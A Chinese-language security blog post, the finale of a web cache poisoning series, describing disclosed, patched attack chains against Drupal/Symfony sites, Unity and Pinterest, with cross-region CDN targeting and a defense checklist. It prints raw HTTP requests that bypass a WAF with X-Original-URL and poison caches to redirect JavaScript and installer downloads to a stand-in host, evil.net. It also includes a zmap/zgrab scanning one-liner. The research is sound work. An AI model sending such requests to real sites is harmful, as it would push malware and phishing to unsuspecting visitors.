你下的安装包,竟是赏金局
原创
升斗安全XiuXiu
升斗安全XiuXiu
升斗安全
2026年10月23日 07:35
广东
去阅读
【文章说明】
- 目的:本文内容仅为网络安全技术研究与教育目的而创作。
- 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
- 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
- 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。
阅读即代表您同意以上条款。
【内容描述】 系列终篇。前面两篇我们打的是\"单点投毒\",这篇把投毒升级成组合拳:用 X-Original-URL 穿透 WAF、污染 Drupal 内部缓存、劫持 Pinterest 的 JavaScript、嵌套投毒打穿双层缓存,甚至不靠 VPS 就跨区域污染 Cloudflare。最后送上防御清单和人人都会踩的坑,以及这场研究的结论。
前两篇,我们从一个\"快递柜\"讲起,一路打到了能劫持 Mozilla 几千万用户、能掉包你分享链接的程度。
但说实话,单点投毒再花,本质上还是\"一个未键控输入,一处毒\"。真正让缓存投毒封神的,是把多个弱点串成一条链——这,就是终篇的主题。
一、本地路由投毒:X-Original-URL 这把\"万能钥匙\"
研究做到这,我已经见过各种奇形怪状的头了:translate、bucket、path\_info……我怀疑还漏了一大片。于是我干了件笨功夫:把 GitHub 上排名前 2 万的 PHP 项目全下下来,搜它们都吃哪些请求头名。
这一搜,揪出了 X-Original-URL 和 X-Rewrite-URL——这俩头能直接覆盖请求路径。我第一次注意到它们影响运行 Drupal 的目标,顺藤摸瓜钻进 Drupal 代码,发现对这俩头的支持来自 PHP 框架 Symfony,而 Symfony 又从 Zend 抄来的。结果就是:海量 PHP 应用,在不知情的情况下默默支持着这俩头。
在拿它们投毒之前,得先说——这俩头还特别适合绕过 WAF 和安全规则:
GET /admin HTTP/1.1Host: unity.comHTTP/1.1 403 ForbiddenAccess is denied
GET /anything HTTP/1.1Host: unity.comX-Original-URL: /adminHTTP/1.1 200 OKPlease log in
如果应用前面挂了缓存,这俩头还能用来糊弄缓存、让它吐错页面。比如下面这请求,缓存键是 /education?x=y,但实际取的却是 /gambling?x=y 的内容:
结果就是,你发完这请求,任何想进\"Unity for education\"页面的人,都会吃一惊。
二、内部缓存投毒:Drupal 的\"键里藏键\"
Drupal 常跟 Varnish 搭伙,但它自己肚里也带着个默认开启的内部缓存。这个缓存认 X-Original-URL,还把它纳入了缓存键——但有个致命疏忽:它连头里带的查询串也一起算进了键。
前面的攻击是\"用一个路径替换另一个路径\",这个则能\"覆盖查询串\":
GET /search/node?keys=kittens HTTP/1.1HTTP/1.1 200 OKSearch results for 'snuff'
有点意思,但还不够。我们需要第三个零件。
三、Drupal 开放重定向:destination 覆盖
读 Drupal 的 URL 覆盖代码时,我撞见一个相当危险的功能:在所有重定向响应上,你都能用 destination 查询参数把重定向目标覆盖掉。Drupal 试着做了点 URL 解析防你跳到外部域名,但可想而知,轻松绕过:
GET //?destination=https://evil.net\\@unity.com/ HTTP/1.1Host: unity.comHTTP/1.1 302 FoundLocation: https://evil.net\\@unity.com/
Drupal 看到路径里双斜杠 //,想发个到 / 的重定向做规范化,结果 destination 参数生效了。Drupal 以为目标 URL 是\"让用户用用户名 evil.net\ 访问 unity.com\",但浏览器会自动把 \ 变成 /,把人带去 evil.net/@unity.com。
开放重定向本身没多刺激,但现在我们凑齐了所有积木。
四、持久重定向劫持:Pinterest 商业站
把\"参数覆盖\"和\"开放重定向\"一拼,就能持久劫持任意重定向。Pinterest 商业站有些页面恰好靠重定向来导入 JS。下面这请求,用橙色参数投毒了蓝色所示的缓存条目:
GET /?destination=https://evil.net\\@business.pinterest.com/ HTTP/1.1Host: business.pinterest.comX-Original-URL: /foo.js?v=1
这一下把 JS 导入的目标劫了,让我彻底控制了 business.pinterest.com 上几个本该是静态的页面:
GET /foo.js?v=1 HTTP/1.1HTTP/1.1 302 FoundLocation: https://evil.net\\@unity.com/
五、嵌套缓存投毒:用内部缓存去毒外部缓存
别的 Drupal 站点没这么\"配合\",不靠重定向导入重要资源。好在——只要站点用了外部缓存(几乎所有高流量 Drupal 都如此),我们就能用内部缓存去投毒外部缓存,顺手把任意响应扭成重定向。这是两阶段攻击:
第一步,投毒内部缓存,把 /redir 换成我们的恶意重定向:
GET /?destination=https://evil.net\\@store.unity.com/ HTTP/1.1Host: store.unity.comX-Original-URL: /redir
第二步,投毒外部缓存,把 /download?v=1 换成我们预先投好毒的 /redir:
GET /download?v=1 HTTP/1.1Host: store.unity.comX-Original-URL: /redir
最终结果:点 unity.com 上的\"下载安装程序\",会从 evil.net 下到些 opportunistic 恶意软件。这招还能干更多事——往 RSS 源塞假条目、用钓鱼页替换登录页、靠动态脚本导入搞存储型 XSS。
这个漏洞 2018-05-29 披露给 Drupal、Symfony、Zend,通过 2018-08-01 的协调补丁禁掉了这几个头的支持(编号 SA-CORE-2018-005、CVE-2018-14773、ZF2018-01)。
六、跨云投毒:不靠 VPS 也能跨区域
前面有些报告,分诊员用 CVSS 给我评\"高\"访问复杂度,理由是\"攻击者可能得租好几个 VPS 才能毒遍所有 CloudFront 缓存节点\"。我没去争啥算\"高\",倒是借机琢磨:能不能不依赖 VPS 就跨区域打?
还真能。CloudFront 有张公开的缓存地图,它们的 IP 用免费在线服务从不同地理位置发 DNS 查询就能识别。在你卧室里精准毒某个区域,就像用 curl/Burp 的主机名覆盖功能,把攻击路由到那些 IP 之一那么简单。
Cloudflare 区域缓存更多,我也顺手看了。Cloudflare 网上贴了全部 IP 清单,我写了个快脚本,对每个 IP 请求 wafproxy.net/cdn-cgi/trace,记下命中了哪个缓存:
curl https://www.cloudflare.com/ips-v4 | sudo zmap -p80 | zgrab --port 80 --data traceReq | fgrep visit_scheme | … | sed -E 's/…colo=([A-Z]+).*/\\1/' | …
结果表明,针对托管在爱尔兰的 wafproxy.net,我在曼彻斯特家里就能命中这些缓存:
104.28.19.112 LHR 172.64.13.163 EWR 198.41.212.78 AMS172.64.47.124 DME 172.64.32.99 SIN 108.162.253.199 MSP172.64.9.230 IAD 198.41.238.27 AKL 162.158.145.197 YVR
七、常见陷阱:为什么换浏览器就不灵了
到 2021 年,我收的最多一类提问是:有人在 Burp Repeater 或代理浏览器里能复现缓存投毒,换个非代理浏览器就不行了。原因是你的浏览器和 Burp 发出的请求有细微差别,而且差别刚好在缓存键那部分。
定位差异,去比对浏览器开发者工具里显示的请求,和 Logger++ 里记录的请求。最常见的俩原因:
- Param Miner 开了\"Add fcbz cachebuster\"——会给 Burp 的请求加个静态查询参数。
- 服务器把
Accept-Encoding头算进了缓存键——Burp 里\"Proxy > Options > Remove unsupported encodings\"会重写这个头。
两种情况,都只要调整你的投毒请求、确保缓存键对得上,就能解决。
八、防御:从最稳到最务实
最稳的防御,是关掉缓存。这对有些人不现实,但我怀疑不少网站是冲着 DDoS 防护或顺手拿 SSL 才接了 Cloudflare 之类,结果缓存默认开着,平白无故变脆弱。
其他有效手段:
- 把缓存限制在纯静态响应,前提是你对\"静态\"的定义够警惕。
- 别从请求头和 Cookie 取输入——这是治本,但你很难知道其他层、其他框架是不是偷偷支持了额外请求头。所以建议用 Param Miner 把每个页面都审计一遍,清掉未键控输入。
- 识别出未键控输入后,理想是直接禁用;做不到就让缓存层剥离它,或把它加进缓存键。有些缓存支持用
Vary头键控,有些允许自定义缓存键(但可能只给\"企业\"客户)。 - 最后,哪怕你的应用没缓存,你的一些用户自己那端也可能有缓存,所以像 HTTP 头里的 XSS 这类客户端漏洞,绝不该被忽视。
九、结论:臃肿,正在合谋把威胁送到每个人面前
Web 缓存投毒远不是什么理论漏洞。臃肿的应用、高耸的服务器栈,正合起伙来把它送到每个人面前。我们看到了:连知名的框架都可能藏着危险到离谱的\"通用功能\",再次证明——绝不能因为某个项目开源、用户几百万,就默认\"别人肯定把源码看过了\"。我们也看到,在网站前面摆一道缓存,能把它从\"完全安全\"瞬间变成\"严重脆弱\"。
我觉得这是个大趋势的一部分:网站越来越嵌套进各种辅助系统里,其安全态势,也越来越难被孤立地充分评估。
📌系列三篇到此收官。要是这一路看下来觉得\"缓存投毒真香\",那就:
👍点个赞—— 三连支持,让更多白帽少走弯路
⭐关注我—— 更多一线漏洞研究、工具复盘持续输出
🔁转给团队 / 安全群—— 顺手帮同事排个雷
网络安全没有终点,下个坑见。🛡️
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论